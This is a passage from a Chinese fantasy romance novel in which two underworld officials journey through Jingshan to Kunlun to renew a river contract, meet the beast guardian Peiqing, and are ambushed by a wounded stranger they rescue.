人总是在快要失去时才感觉到害怕,她刚刚真的以为他会消失不见,以那种荒诞可怕的方式。
手腕上一刻不停的痛感越发明显,岑黎却是松了口气。
“我梦到你消失了,灰飞烟灭一样,抓也抓不住。”
沈自珩愣了一下,忽然笑开:“这是你的噩梦吗?”
岑黎松开手,很认真地看着他:“如果以后你要离开,起码告诉我一声,好不好?”
“我不会悄无声息地离开你,我保证。”沈自珩捋了捋她头发,又伸手掌心朝上摊开在她面前,以灵力筑起的金色小球在他掌心旋转着,“我们的灵力传讯再也不会断开,直到我灰飞烟灭。”
金色小球的表面忽然凭空生出许多密密麻麻的裂纹,那些裂纹首尾相接的一瞬间,金球碎裂成两半,露出了原本包裹在其中耀眼的银色。
“再睡一会儿吗?还有一个时辰便天亮了。”沈自珩坐在火堆前从洞里向外瞧着一小片天。
岑黎跟着坐在他身边,摇摇头。
从地府通往昆仑山距离甚远,他们走之前云昭给了一幅图,千叮咛万嘱咐地让他们一定按着地图上走,不可偏差半分。
“云昭说只有一条路可走。”岑黎借着火光看着地图,上面明明画了许多条路,为何却只能走她标出来的这条……
她将手中的地图调转了方向,使图上地府的方向与现实的地府方向一致,这样看起来,他们此刻已经走了三分之一路程,“云昭这图画得真详细,连这个山洞都有,再往前走便是……”
“净山。”
五日前
“到了净山便离昆仑山不远了。”薛礼抬手让跪在地上的岑黎起身,说着此次让他们前去昆仑山的目的,“地府与昆仑签订了净河契,奈河在此契便一直有效,但奈河如今成了这样,需得重新修改净河契,使其生效。”
“是。”
薛礼继续说道:“签净河契需备之物,有些我已命人备好,另有一些,岑黎,你自己去寻。”他略微弯腰,与岑黎平视着,一双黑色瞳孔冰冷又深不见底,“不可再多问。”
岑黎慌忙低下头避开薛礼的视线,点了点头。
五日后
净山瞧着比之前那地方正常了许多,没有莫名其妙的大雪,也没有莫名其妙的花草树木,只是有个莫名其妙的……人?
岑黎看着面对他们背手站在前方不远处的男子,他长着一头极为茂盛的头发,长度可及地,却是黑白交杂;但他的脸瞧上去又不显老态,反而十分年轻俊俏,还有一双金色的眼睛。
她走上前:“您……是在等我们吗?”
那男子温柔地笑了:“是,岑黎大人,沈自珩大人,二位已到了净山,这一路辛苦了。”
闻言岑黎瞪大眼睛:“您如何知道我们是谁?您又是?”
男子眨了眨金色的眼睛,又将披在身后的长发捞过一缕给她看:“大人可能想到什么?”
金色瞳孔,黑白相间的毛发,她倒是想到了什么,但眼前这个是人啊。
是人吗?!她眼前一亮:“类!你真是类?记忆库里那只类?”
沛青摇摇头,却是笑意更甚:“我不是你说的记忆库里的类,但我是类没错,我叫沛青。”他让开身后的路示意他们走,一边走一边说,“你们在记忆库里见到的,应该是我的弟弟,它还未到能化形的年纪和修为,因此只能以原型示人。我弟弟没有给各位添麻烦吧?”
“没有没有,它特别聪明,还交到了好朋友。”岑黎没想到自己出来办差还能遇到新鲜事儿,兴高采烈地同沛青讲着他们在记忆库中的事,“……它和墨玉可亲近啦!”
沈自珩跟在后面,看着手舞足蹈的岑黎有些无奈地笑了。
沛青带着他们往山上的住所走,这一路上岑黎和沛青相聊甚欢,沈自珩
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则是趁此机会欣赏着净山的美景。
自他到地府起,便总能听见拘魂使的同僚说起净山发生的趣事,其中有一多半都是修行之人到净山后因醉心美景不忍离去,最后选择留在山上修行,只是他们此刻看到的净山与人们眼中看到的净山并不一样。
“不止净山,昆仑山上自然也是有屏障的,并非我们不愿与人和谐共处,只是不论是神兽还是仙、菩萨,甚至是……”沛青抬手指了指天上,“大多都是喜好清净的,也闻不得人间那些烟火。到了。”
他们不知不觉已经登上了山顶,从此处往下看去是大片云雾缭绕,仅能透过几片薄薄的云雾瞧见山上那些郁郁葱葱的树,待清风吹过,云雾散开一些,便能看到更多奇花异草,有的一整棵便抵得上一座小屋那么大,有的成百上千攒在一起才抵人的一只掌心。
沛青带他们站在石台上,指着石台下方的一株草说着:“那株便是灵起草,大人们用过吧?”
虽同样是灵起草,眼前这株长得却是妖艳非常,细长的叶片边缘长着极密的小刺,从叶子顶端到整株草的根部都呈暗紫色,看上去着实不像没毒的样子。
“不管是花草还是飞禽走兽,不都是这样吗,弱小的它们为了让自己能不被觊觎地活着,都会装得凶狠恶毒。”沛青笑笑,伸手指向云雾下的不远处,“那里有一大片灵起草,有机会你们可以凑近看看。”
说完他转身带着他们参观山顶上这处住所,说是住所,其实岑黎更想称它为殿。
这座殿建在净山顶,占据了整个山顶,从山腰处往上便有一眼望不到头的石阶,当时她只当是修的山路,可她此时脚下踩的石阶分明与山腰处的是一样的啊!
“大理石的。”沈自珩看透了她的震惊,还嫌不够,又传讯给她,“山腰处到这儿,全都是大理石切割而成,那座石台也是大理石的。”
岑黎看了看走在前面带路的沛青,转头对着沈自珩锤了一拳后又转了回去,传讯给他时都咬牙切齿:“怎么不早告诉我!”
沈自珩一脸无辜看向她:“告诉你做什么?”
哦,也是。
“这便是岑大人的房间。”沛青推开木门,岑黎探头往里一看便惊得说不出话。
这房间与她在孟婆庄的房间一模一样!她进去转了一圈,连床头放的东西,桌上的布的花纹都完全一致!
她又跑到隔壁沈自珩的房间瞧了瞧,他的却是寻常房间的布置,十分素雅整洁,与他家中那些黄花梨相差甚远。
沛青从沈自珩房间出来便迎面碰上她,笑眯眯地问:“岑大人,您的房间还满意吗?”
岑黎如梦初醒,猛地点头:“满意满意,太满意了,怎么能做到和我自己的房间一模一样的啊?沛青啊,即便你早就便知我们要来,但这布置也太用心了,真是麻烦你了。”
沛青却是看着她摇摇头:“我只知有人来净山,并不知来的是你们。”
岑黎脸上笑意凝固了,皱紧眉看他:“你这话,什么意思?”
“这就是你的房间啊。”
她看着眼前的沛青,明明他的言谈举止与人如出一辙,但此刻她却听不懂他说的话了。
64. 净河契 三
“什么……意思?”她问,“什么我的房间?以前我来过这儿吗?”
沛青有些惊讶地张了张嘴,但却很快收敛了,又恢复那个温和的表情一耸肩道:“这我也不清楚了,从前我并不住在这个地方,我只是按照这宅子主人的要求,维持现状。”
“宅子主人?是谁?”她有些迫不及待,既然宅子主人如此了解她的生活,那与她也一定十分熟悉,她……
“不知道,我并没有见过。”沛青有些抱歉地看她,“我来这儿的时候只有一位老者守着,但不久之后她就过世了。”
沛青说着顿了顿:“算算时间,竟也有近百年了……”
沈自珩站在房间门后沉默地听着他们的对话,随着沛青的话说出,他的脸色也越发难看,直到沛青走远,岑黎到房间来找他,他才缓了过来。
“怎么了?”靠着门框的岑黎环抱着双手看着他,脸上的表情也不是很好,连笑都是硬挤出来的,“听着沛青刚刚说的那位老者……你是不是也觉得有点难过?”
沈自珩看她,点点头。
岑黎低下头,看着脚下洒扫干净的地面,语气低落地跟他说着:“不知道为什么,沛青说那位老者守着这儿直到过世,我就不自觉地想象她每天清晨起床后,独自一人在这偌大的地方走走停停,累了就找地方坐下歇脚,没人能搀扶她,也没人能陪她说话……她想说的话,是对着花草说,还是对着小鸟说……”
“小黎。”沈自珩喊她,她抬起头,脸上已然有了几道泪痕。他抬手蹭了蹭她脸颊,“走之前,我们去祭拜一下?”
她狠狠点头。
时至傍晚,太阳耀眼的金光逐渐变成柔和的橘色隐入云中,将一大片云都照亮。岑黎坐在石台边缘仰头看着,突然觉得,如果就住在这儿,长久地留在这儿,也挺好。
“很美吧。”沛青背着手走过来,站在一旁同她一起看着天,这会儿已经又变了颜色,变得更柔和,如梦似幻。“我也常常这么看着天,有时候是看朝阳,有时候是看落日,若是晚上睡不着还能在这儿看见星星。”
岑黎没回头,一动不动地坐着,沛青也安静地站着,过了一会儿听见她开口:“你是如何知道有人要来的?”
沛青笑笑:“净山的屏障被人闯入,我自然会知晓。”
“那你是如何知道我叫岑黎,另一位是沈自珩?”
“地府早就告知于我。”
“谁?”
沛青一挑眉毛,毫不犹豫地说出了一个名字:“薛礼。”
她对这个答案倒是并不感到意外,继续问道:“所以也是他让你将我们带上山?”
“是。”
“打算让我们住几天?”
“昆仑山五日后便是‘开山’,届时会将屏障打开一处,可供世间万物自由进入,你们可住到那时。”
“进入?只进不出?”岑黎终于转过头看他。
沛青摇摇头:“我不知。”
方才从这位岑大人问第一个问题开始,他便有些提心吊胆,虽自己并未做甚亏心事,但这位岑黎大人的每次追问都比之前快上几分,让他没有时间思考,到最后几乎脱口而出。
他无声地笑笑,还是提防着他呢。
“大人,可以用晚膳了。”沛青像个管事一样恭敬地行礼提醒她吃饭。
岑黎一手撑在石台上站了起来,拍了拍手上的灰后看向他,忽然噗嗤一下笑出声:“不用这么客气,出了地府谁还当大人啊,叫我岑黎就行。”
沛青的笑终于有些崩塌的迹象,他吸了口气,重新笑着点头:“好的。”
“你看见沈自珩了吗?”她跟着沛青往正厅走,一路上却始终没见沈自珩的身影。
“沈大人去果园了,说要摘些水果。”沛青顿住脚步看着天色,“大人、岑……您想去吗,现在还来得及。”
岑黎来了兴致,炯炯有神地看着他:“可以吗?”
沛青说着当然,带着她往果园走。
果园在石台下,介于山顶与半山腰之间的高度,不容易被野兽踩踏毁坏,也不会因位置太高而过于寒凉。
他们绕过石台,踩着石阶往下走,两边当真如沛青所说,皆是平日没见过的稀奇植物。
“岑黎,你看。”沛青指着前方一大片紫色,“那便是我说的灵起草。”
这一大片灵起草竟是真与山上那一株不同,这些颜色更浅,每一株都更小一些,拥挤着长在一起,瞧着像一大家子。
“等你们走时,给你们拿一些。”沛青的手中忽然多出了一个不知从哪拿的竹筐,“走吧?”
岑黎直起腰,这个角度能瞧得见沈自珩的背影,他正站在果园里仰头瞧着树上的果子。
她刚想问沛青从哪儿进果园,是不是沿着石阶一直往前。
忽然她想起一个问题:“这山上的石阶,都是用什么石头做的?”
沛青不解地一歪头,金色的眼睛看着她,又看了看脚下的石阶:“就是,平整一些的山石啊。”
岑黎猛地转头看向远处那个身影。
鬼……一顿不吃饿不死吧?
说是果园,其中种的却不只果子,甚至角落里还划出了一小块四四方方的地,里头种的都是稀奇古怪的植物。
“都是毒。”沛青从一旁的树上摘下几颗红彤彤的果子放进竹篮里,一边盯着岑黎谨防她伸手,“你可千万别碰,皮肤沾上一点便会中毒。”
岑黎哦一声,收回蠢蠢欲动的手。
“沈自珩,你摘了什么?”岑黎把手拢在嘴边,喊着离他们有些距离的沈自珩。
沈自珩没回答,只招手让她过去。
在果园一隅,一棵大梧桐树下,立着一块无字的石碑。
“这是那位老者的……”
“衣冠冢。”沛青放下手中的竹篮,朝着碑拜了拜,“她不愿被埋进不见天日的土里,便只能为她立了这个衣冠冢。”
他看着眼前伤感的二人,轻笑一声指着眼前的果园:“二位可知这片果园里的果子长得为何这么好吗?”
岑黎刚觉得鼻酸,便听见他开口说这话,连落泪也顾不上了,猛地转头看他,沈自珩在一旁也拧着眉。
沛青瞧着他们不可思议的模样,咧嘴一笑:“因为这里风水好,所以将她安置在了这儿,果园也是后来才有的。”
“二位大人这表情,是想到了什么?”
岑黎举起拳头在他眼前晃了晃。
晚
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膳是沛青做的,都是山里能得来的普通食材,青菜蘑菇之类的,味道却是十分好,岑黎夹着一筷子青菜使劲闻,一边闻一边夸:“好香的菜!沛青你手艺很好嘛,要不跟我回地府吧,可以在鬼市开个店,肯定很赚。”
沛青正拿着茶壶给他们添茶,闻言摇头道:“我走了谁来守着这地方呢?”
“这一处历来都是只能由一人守着吗?”沈自珩放下筷子问道,“你们可有记载的簿册?”
“没有。”沛青将茶壶放在桌上,壶底与木桌碰撞发出一声闷响,“老者说皆是口口相传,能记得上一任便已经足够了。”
他将面前的碗往桌子中间推了一寸,手搭在桌上空出来的地方,拇指与中指无意识地捻着:“我便也只知道她,只记得她。”
看着他的动作和神情,沛青也是想念她的吧。岑黎想着,那老者生前一定是极好的人,才会让沛青始终铭记。
“能跟我们讲讲她的事吗?”岑黎问,“无意冒犯,只是听你所言,那老者一定是很好的人吧。”
沛青点头:“我初见她时,化形的状态并不稳定,经常会忽然化成原本的模样,你们也见过,一身长毛,金色眼睛,怎么看都不是常见的动物。那日我正在练习以人的姿态走路,走着走着就到了半山腰,正想往下走,就见她从山上下来。我没想过这座山中会有凡人,一时惊慌,在她面前化成了原型。”
“我转身要跑,就听见她喊住我,说,小家伙,老婆子不害怕你,过来吧。她的声音苍老却和蔼,还带着笑意,当时我就觉得她一定不是坏人。她问我在做什么,得知我是刚学会化形的神兽后她也没有动什么坏心思,反而跟我说,以后想知道什么关于凡人的事,都可以上山找她。”
沛青抿着嘴笑笑:“头发是她教我扎的,如何穿衣、如何待人,这些都是她教的,我问她为什么要教我这些,我本无意要学,她说:‘我想让你接替我,守护这里。’我答应了。你们知道类一直被人觊觎着,人间有传说道,类,食之肉可消妒忌。”
“后来呢?”
“后来,第二日一早,天还未亮她就坐到了那石台边。”沛青快速地眨了两下眼睛,试图赶走眼中的雾气。
“你知道为何那日我见你不惧吗?”她坐在石台边,仰头看着仍然一片漆黑的天,慢慢地说着,像家里长辈同小辈讲一个故事一样,“曾经我养过一只小兽,看着像狐狸,又有些像狸猫,白色的,它当时年纪应该比你还小些,胆子也小,见到我有些胆怯,却不跑走,浑身湿漉漉的。我不忍心啊,将它抱回家,给它擦干了毛,又喂了一只鸡腿。第二天我打开门叫它走。”
江兰乐呵呵地一拍腿:“但它不肯走,反而匍匐在我脚边,我就这么一直养着它……”
“它跑走了一段时间,再回来找我时已经成了亭亭玉立的大姑娘,告诉我她有了心上人,安置在了皇城根儿下,想将我接过去同她一起住。”
沛青问:“您怎么没去?”
江兰瞧着云后的太阳笑了,花白的头发被阳光染成了金色:“她过得好好的,我去扰她做甚……沛青啊,沛青?”
沛青应道:“诶。”
江兰指着一个方向:“将我的衣冠冢,立在那儿吧。”
65. 净河契 四
那晚他们都没有睡好。
沛青坐在屋顶,他始终以为自己已经学会了怎么当人,从走路到口味都和人别无二异,有时他甚至忘了自己是兽。但今晚提到江兰,他忽然觉得他还是没有学会怎么做人。
江兰曾告诉他,日头对于凡人来说,是盼头,是念想,是日复一日,要不怎么叫日子呢,日子啊,就得一天一天踏踏实实地过……
可是人,是如何将日日夜夜的想念压在心底的?
这漫长的日子,要怎么一天一天地过?
第二天岑黎见到沛青时吓了一跳,她手上拿着的茶险些泼到他身上去:“沛青!你眼睛怎么了?”
沛青努力睁开有些厚重的眼皮瞧她:“昨晚有小蛾子进了眼睛,没及时处理,不打紧。”
“你这肿得也太厉害了!”岑黎随手将茶壶放到一边,踮脚仔细瞧了瞧他肿得几乎睁不开的眼睛,“我记得沈自珩带了药,你等等,我去问他。”
“诶……”
“沈自珩!沛青的眼睛肿得好厉害!施永和是不是给我们装了药,你快去给他涂上。”岑黎冲到沈自珩房门口朝里喊着,忽然门自己开了。
“你先进来吧,我去拿药。”
岑黎进了屋却不见沈自珩的踪影,她四处看着,沈自珩当真是很……整洁,屋里都住了一晚了,和昨日刚来时也并无差别。
“你做什么呢?在哪儿啊?”她又提高声音问了一句。
屋里静了片刻,沈自珩的声音忽然自她耳边传来:“小黎。”
沈自珩从她身后绕到面前,展开双臂给她瞧了瞧身上的衣服:“沛青给我找了两身衣服,我试试合不合身。”
他作为地府鬼差,阴律司督察,平日不是穿黑沉沉的官服便是他自己的衣服,也都是暗色为主,这还是岑黎头一回见他穿葱青色的衣服,加上衣服上绣的翠竹,衬得他清新俊逸,气宇非凡。
岑黎目不转睛地盯着眼前的美男子,频频点头:“不错,很不错,你就应该多穿些亮的颜色。”
沈自珩瞧她这样只无奈地笑,抬起的手想弹她额头,却又因舍不得放下了:“沛青眼睛肿了?红吗?”
“哦哦,不红,就是肿,两只眼睛都肿了。”岑黎回过神,坐在桌边看他翻着包裹,“他说是小蛾子飞进眼睛里了。”
沈自珩寻药的手一顿,又将打开的包裹系上。
“嗯?”
“我去瞧瞧。”他朝外走去,忽地又转过头来说了一句,“大概用冰就行。”
岑黎恍然大悟。
说到底沛青也不是调皮的性格,沈自珩给他眼睛敷上冰时问他怎么回事,他坐在椅子上好半晌没有答话,最后才说是昨晚哭完迎风吹的。
岑黎有些无奈:“昨日白天你还能拿果园逗趣儿,晚上就一个人闷着哭啦?”
沛青脸上逐渐晕上些红,嗫嚅道:“我……我不是……”
“你知道我们要去昆仑山做什么吗?”岑黎忽然问了个不相干的问题。
“不知道。”
岑黎坐在旁边的椅子上,翘着腿:“我们要去昆仑重签净河契。”
沛青本想点头,却被沈自珩控住了下巴,只能哦一声。
岑黎也不管他,自顾自往下说:“签完净河契后奈河便会恢复正常,这一切都结束后,我就会下地狱。”
她冲着一脸惊恐的沛青笑笑:“但是我还会从地狱里出来,因为我还有事要做。”
“什么事?”
“我要找回我的记忆。”
若是有人问她记忆真的有那么重要吗?原先她可能还会有些犹豫,但现在她能肯定地回答,重要,非常重要。
“你看,你记得那位教养你的老者,那位老者记得她带大的小兽,那只小兽也记得她的恩人,记忆是你们间十分重要的东西。你是神兽,你有很长的寿命,可以将与老者相处的那段记忆,牢记很久很久。”
岑黎本来是想安慰他,却将话题越绕越远,她一拍手,总结道:“总之,你还有记忆,还能想起老者种下的树,浇过的花,还能想起她的模样,她的声音,已经很好啦,不要哭,她一定也希望你能开心的。”
沛青用一只眼睛茫然地看着她蹦蹦跳跳的走远,问着一旁给他捂眼睛的沈自珩:“岑大人,好像有点不一样,是吧?”
沈自珩也看着她,眼里却有着说不清的情绪:“嗯,是不一样。”
他们在净山一直住到昆仑山开山。
“沿着这条路一直走,没多远就能到昆仑。”沛青给他们指了一条几乎看不出来的小路,“昆仑守山人应当也是同我一样,在你们穿过屏障之时便知道了,不会为难你们。”
岑黎听他话中与昆仑守山人似乎挺熟悉,问他:“你认识守山人吗?”
沛青递过包裹:“认识,她是与我们一同长大的。”
“您是守山人……吗?”岑黎瞧着眼前美艳的女子,一头乌黑的及腰长发,唇红齿白,眉眼间有几分清冷,她忽然看出几分眼熟,“你认识云峤吗?”
女子轻笑着点头:“我是他姐姐冉月,见过二位。”
岑黎看着这闭月羞花的女子心生疑惑,为何这样貌会被嫌丑……
“大人是听了我那些陈年往事吧?”
“是。”岑黎讪讪点头,飞快出卖了云峤,“云峤说的。”
冉月哈哈笑着,发间步钗轻晃:“那我大概知道了,他是不是说我丑?”
岑黎与沈自珩对视一眼,没敢说话。
“那阵子我掉毛掉得厉害,尾巴甚至秃了一截,确实是丑啊。”冉月摆摆手,又向他们示意着跟她走,边走边说,“我们狐狸眼中的美和凡人眼中的美相差甚远。”
“二位大人此次来昆仑山,是为了净河契吧?”冉月掩唇笑道,“奈河源头便在昆仑,因此奈河出了什么事,昆仑定是知晓的。”
“但我们也只知晓要重新签净河契,可签这契约有什么条件我却一概不知。”岑黎有些苦恼,她得知此事后便问过阎王,连地藏也问过,可得来的答案均是:去了昆仑便知。
冉月拉过她的手拢在手心,柔嫩的手掌轻轻地拍着她手背:“不要紧张,昆仑决不会为难你,我保证。”
净山已然是一座高耸入云的山,昆仑山比净山还大上许多,地形也与净山完全不同——净山尚且有较为平坦的山路,能叫人从山脚下直接爬上山顶,昆仑山却大多是陡峭的山壁,还有大大小小好几处瀑布,莫说直接爬上山顶,便是爬到半山都有些困难。
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岑黎站在山脚下看着飞流直下的瀑布,拽了拽一旁沈自珩的袖子:“你说,地府怎么没有这等奇观?”
沈自珩还没来得及回答,冉月便一挥手:“得先有山才有瀑布,地府哪有山?不过地府没有,人间有啊,你若是想看瀑布,去人间走一遭便是。”
岑黎连连答应:“好啊好啊,我还没去过人间呢!沈自珩,等我下……等事情结束了,我们去人间看瀑布好不好!”
“好,等事情都结束了我们就回人间。”沈自珩捏捏她的手指应下。
冉月听着沈自珩的话,有些诧异地挑了一下眉毛。
冉月带着他们往山林深处走,边走边和岑黎聊天,从衣服颜色聊到花佃,再聊到她之前遇上的那个男人,就在岑黎以为她们已经快到昆仑山顶时,冉月拉着她的手:“好了,岑黎妹妹,我只能送你们到这儿了,剩下的路就要你们自己走了。”
岑黎一惊,牢牢拉着冉月的手不放:“姐姐!你不同我们一起去吗?”
冉月笑着拍拍她:“我是守山人呀,能送你们到这儿已经是破例啦。”
“好吧……那我们还要走多远才能到山顶,到了山顶又要寻何人拿净河契?”
“走多久……就看你们的造化啦。”
岑黎想着冉月交待的最后一句话,越想越慎得慌,若是在地府听到这句话她一定不屑一顾,但这是在昆仑山啊,没准遇到的狗都比他们厉害!
她扯着沈自珩的袖子嘀嘀咕咕:“也不告诉我们现在在哪儿,万一迷路了怎么办,那要什么时候才能回家……”
沈自珩忍俊不禁:“害怕了?”
“倒也不是。”岑黎偏过脑袋瞧他,“只是有点紧张。”
“紧张什么?”
“我也不知道。”她一耸肩,放开沈自珩的袖子往前跑了两步去看大树底下的花。
那花长得十分好看,有些像龙爪花,花瓣却是比龙爪花多上一倍,也没有龙爪花的“花叶不同时”,花瓣下方的绿叶十分舒展,像好几双手托着花朵生长。
“这花能摘吗?”岑黎仰头问沈自珩,“不会毒死我吧?”
谁料她竟忽然听见了冉月的声音,那声音如水上的涟漪一般层层荡漾开来,听得人耳朵都痒痒:“可以摘的岑黎妹妹,这花能增长灵力哦,凡人用了也有奇效。”
“这花叫什么啊?姐姐?姐姐!”岑黎眼睛一亮,朝着空中大喊,冉月却像是有意逗她似的,再没了回音。
沈自珩蹲下身,拉着她也重新蹲下,伸手去摘那花:“既如此,便摘一些带回去吧?”
“好,没准施永和没见过呢,让他研究研究怎么入药。”岑黎数了数这棵树下的花,“一共十二株,我们采四株怎么样?”
说完她咬了一下唇,有些心虚地凑到沈自珩耳边:“会不会有点多呀?”
“山上应该还有很多,无妨。”
山林深处,一男子躺在草地上用力挥着手中从衣服上撕下的布条,随着他手臂的摆动,浓烈的血腥味在林中悄无声息地散开。
岑黎正美滋滋地将花放进包裹里,忽然她停下了动作,将食指竖在唇边:“你有没有听见什么声音?”
“救命……救救我……救……命啊……”
66. 净河契 五
“好像有人在喊救命。”岑黎轻声说着,朝各个方向瞧了瞧,放眼望去却只能看见长势极好的花草树木,有些她不认识的草甚至长得有半人高。她又细细听着,除了风声和树叶摇晃发出的沙沙声,再没有别的声音:“可能是我听错了。”
沈自珩站起身后朝她伸手,将她从地上拉起来:“继续往前走吧,一会儿天黑了,山里不安全。”
说到山,沈自珩皱了皱眉,他仍能想起那日他解决完巨兽赶至荒山后瞧见的场景。
那时的岑黎正站在一头已经死亡的巨兽的身上,试图掰断巨兽额前的角。
她看上去实在是狼狈不堪,衣袖少了一大块,脸上和衣袍上沾满了血迹,连乌色长镰的握柄上都被血迹覆盖,当真像是从地狱里爬出来的鬼。但一走近她,便会最先注意到她那双亮晶晶的眼睛,那里头仿佛燃着永不熄没的火,始终炙热着。
“我有点饿。”岑黎眨着那双亮亮的眼睛忽然凑到沈自珩面前,指了指逐渐暗下的天色,“该吃饭了。”
她玩着刚刚随手揪下来的一根草:“虽说鬼不吃饭也饿不死,但饿着很难受。”
沈自珩紧皱的眉头悄然舒展,他轻拍一下岑黎的额头:“没说不让你吃,但这儿不知道能找到什么吃的……”
他盯着前面不远处草地里青色的小花。
岑黎顺着他目光看去,一大片青色小花开得正盛:“看什么呢,那小花能吃啊?”
“能吃。”沈自珩过去拨开小花周围的杂草,将那花连根带茎一起拔了出来跟她看,“听过吗,祝余。”
“状如韭而青华,食之不饥,原来长这样。”岑黎接过祝余放到鼻下闻,“没有味道,不像韭菜。”
“本来也不是韭菜。”沈自珩好笑地撇她一眼,正想再拔两根,忽然在旁边的小花上瞧见几点红色。
他拨开周围的草叶,将那朵沾着几点红色的小花摘了下来,红色的水珠在花瓣上已然凝固,但还未完全干涸,与血十分相似。
岑黎一拍他胳膊指着:“那儿也有!看着像往深处去了。”
正是昆仑山开山的日子,三界想来昆仑的皆可进入,并无限制,这就意味着花上的血,可能是人的血,也可能是兽的血。
“没准还是凶兽。”岑黎叼着祝余叶子看着那朵小花,“要去寻一寻吗,万一是凡人碰上了凶兽……”
沈自珩看着她,脸上的表情像是写了三个大字:不赞同。
岑黎哦一声,啃了一口叶子,拉着他继续往山林里走。
“沈自珩,反正前面长路漫漫,我们聊聊天啊。”岑黎递给他一根祝余草,“吃吗?不好吃。”
沈自珩噙着笑从她手里接过祝余,和她一样叼在嘴里:“你想聊什么?”
岑黎没有立刻回答,低头走着,长长的草叶摇摇晃晃,她的视线越过草叶,看向他们步伐一致的脚。
左,右,左,右……
“想问,那日你为什么会说,我们认识很久了。”岑黎依旧低着头,这问题她想了好几日,虽然听上去像是平常的随口一说,但她总觉得沈自珩想说的不是这个意思。
“我们确实认识很久了。”沈自珩偏过头看她,她低着头,只能看见她的发顶。他顿了顿,“在奈何桥……”
“你想说的真的是这个意思吗?”岑黎问他,“真的吗?”
沈自珩沉默了。
他总是会忍不住地告诉她,提醒她,我们认识很久了。
我们不是需要保持距离的好友。
我们之间不用有顾虑。
我们……
我不能说。
“不能说,你不能说的就是这个吗?”岑黎听见他的回答倒是没有生气,只是说,“喜欢我不能说,这个也不能说,也只有你能憋得住,换我早就说出来了。”
她叹了口气,又啃了一口祝余草,不论啃多少口都很难吃。
“不是。”沈自珩偏过头吐了口中的祝余,两手捧上她的脸,“喜欢你,这个可以说。当时不能说是因为你想找回记忆,我觉得你找回记忆便是要离开地府,即是要离开,又何必让你平白多一段有缘无分的纠缠。”
“怎么是纠缠,我说是纠缠了吗?”岑黎皱着鼻子表示不满,“不要冤枉我!”
“是我错了。”沈自珩笑着道歉,一双狐狸眼微微眯起,“我没有你勇敢。”
岑黎骄傲地一仰头,正想让他多夸两句就见他飞快抽走了她嘴里的祝余草。
随后将自己的唇送到他面前。
她还没明白怎么回事就听见他用勾人的声音低声问:“现在可以原谅我了吗?”
“可以,你说什么都可以。”岑黎勾上他脖颈,温热的掌心贴上他的皮肤,两人贴近,口中呼出的气竟被他闻出一股青草香。
她近距离瞧着他的脸,悠悠地叹了口气:“你真是长了一副好皮囊……秀色……”
后半句话被他不知何时落在她腰间猛然收拢的手臂打断,青涩的香气不再随风飘散,而是与温暖的呼吸一寸寸贴近,萦绕,纠缠,交错的呼吸在寂静的夜色中悄悄蔓延……
“偌大的昆仑山,没有山洞!”岑黎一屁股坐在地上,背靠上粗壮的树干,“若是下雨了怎么办?”
“淋着吧……”沈自珩将枯干的树枝堆出个尖,指间运起灵力,往枝上轻轻一弹,枯枝很快便熊熊燃烧起来。
岑黎托着下巴看着,她还挺喜欢看沈自珩生火,不紧不慢地堆柴,然后唰一声,温暖的火光就会映在他俊俏的脸上。她毫不掩饰自己对美色的沉迷,一眨不眨地盯着:“淋了雨应该也是俊美的。”
沈自珩给她一个疑惑的眼神。
“啊不是!我是说地府常年无雨,我很久没见过下雨天了。”她的视线终于从沈自珩脸上挪到火堆上,“人间应该很有趣吧,有雨有风,有晴有阴,不像地府一直是那样。”
沈自珩坐到她身边,握住她有些冷的手:“人间确实如你所说,四季变换,但有趣或无趣,也全凭己心。我喜欢一人坐在阳光下,我皇兄却是嫌阳光刺眼,喜欢雨天。”
岑黎笑道:“我以为你皇兄会喜欢晴天呢。”
沈自珩也笑:“我们俩虽生在宫中,父皇母后
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对我们却不严厉,我还未出生时我皇兄更是肆意妄为,下了学堂就出去疯玩,没多久就晒成了黑炭。有一年我母后出了远门回来,远远地在花园瞧了一眼后便去找父皇,说要限制皇兄出门。”
“我皇兄为此事闷闷不乐许久,但出门玩的次数也确实少了许多。”
沈自珩肩上一沉。
“救命……”
岑黎猛地睁开眼,霍然直起身环顾着四周,身旁的沈自珩与她同时惊醒,手中悄然蓄起了灵力,与她一同探看着四周。
“你听……”
“我听到了。”沈自珩拿起放在腿上的包裹背上,“去看看?”
“走。”
“救……救命啊……”男子趴在草地上,一手捂着腿,一手努力往前伸着,指尖已经深深地抠进了泥土中。
他喘着粗气,浑身颤栗着:“救我……”
就在他再次精疲力尽时,仿佛听见了脚步声与交谈声,那声音越来越近,越来越近……
“救命啊!我在这儿!”
夏文勇费力地抬起脖颈,看着越来越近的两人,连他们是何人都没来得及问便昏死过去。
岑黎傻了眼,这人腿上有好长一道被利爪抓出的伤,虽已经用布条简单包扎起来,但仍在往外流着血,这人也多半是因为失血太多才晕过去。
“姐姐?姐姐!听得到吗姐姐!这里有人受伤了,怎么办啊?”她朝着天上大喊,“姐姐——”
沈自珩拍拍她肩,抬起下巴指着她身后,那处的密林忽然模糊扭曲起来,像是水面被投进的石子激起了涟漪,一圈一圈地晕开了波纹,片刻后,密林消失不见,取而代之的是一条小路。
冉月的声音终于响起:“带着他沿这路走,尽头已有人候着你们了。”
“你看见尽头了吗?”岑黎走在最后,看着地上被拖着的那人,又抬头问前面拉着他的沈自珩,“累不累?”
他们用折断的树枝和藤条简单编了肩舆,将人拖到上头后由沈自珩拉着走。还好那路平坦,不像之前他们走过的那些遍满荆棘,沈自珩拉着绳索的脚步沉稳,肩舆在地面拖行出轻微的“沙沙”声,倒也顺利。
“没瞧见尽头,大概还有一段路,没事,我不累。”沈自珩说完,悄悄用灵力传讯给她,“你盯着他,我觉得他不对劲。”
岑黎笑笑,传讯回去:“你也察觉了?我一直盯着呢,放心。”
她看着肩舆上装晕的人,按说他流那么多血,早就该脱力昏厥才对,如何能正好等到他们来才恰好昏过去?何况看这人身上一点行囊都没有……普通人会孤身闯入这深山吗,未免有些荒唐。
她瞥了眼肩舆上那人垂落的手,果然见其指节微微蜷缩,但也只是一瞬间便不动了。
沈自珩拉着肩舆继续往前走着,忽然肩舆上那人挣扎起来,紧闭着眼大喊:“方兄……方兄快跑!”
岑黎凑上前,弯腰问:“你说什么?”
肩舆上躺着的人猛地睁眼,原本垂在身侧的手从腰间猛地拔出一把短刃朝岑黎刺去!
“去死!你们都去死!”
67. 净河契 六
“都去死!所有人都去死!”
那人大叫着,手中的短刃还未刺出,他的手腕就被岑黎手中的木棍狠狠捶中,猛然传来的疼痛让他的手下意识松开,一把十分精美的短刃掉落在地。
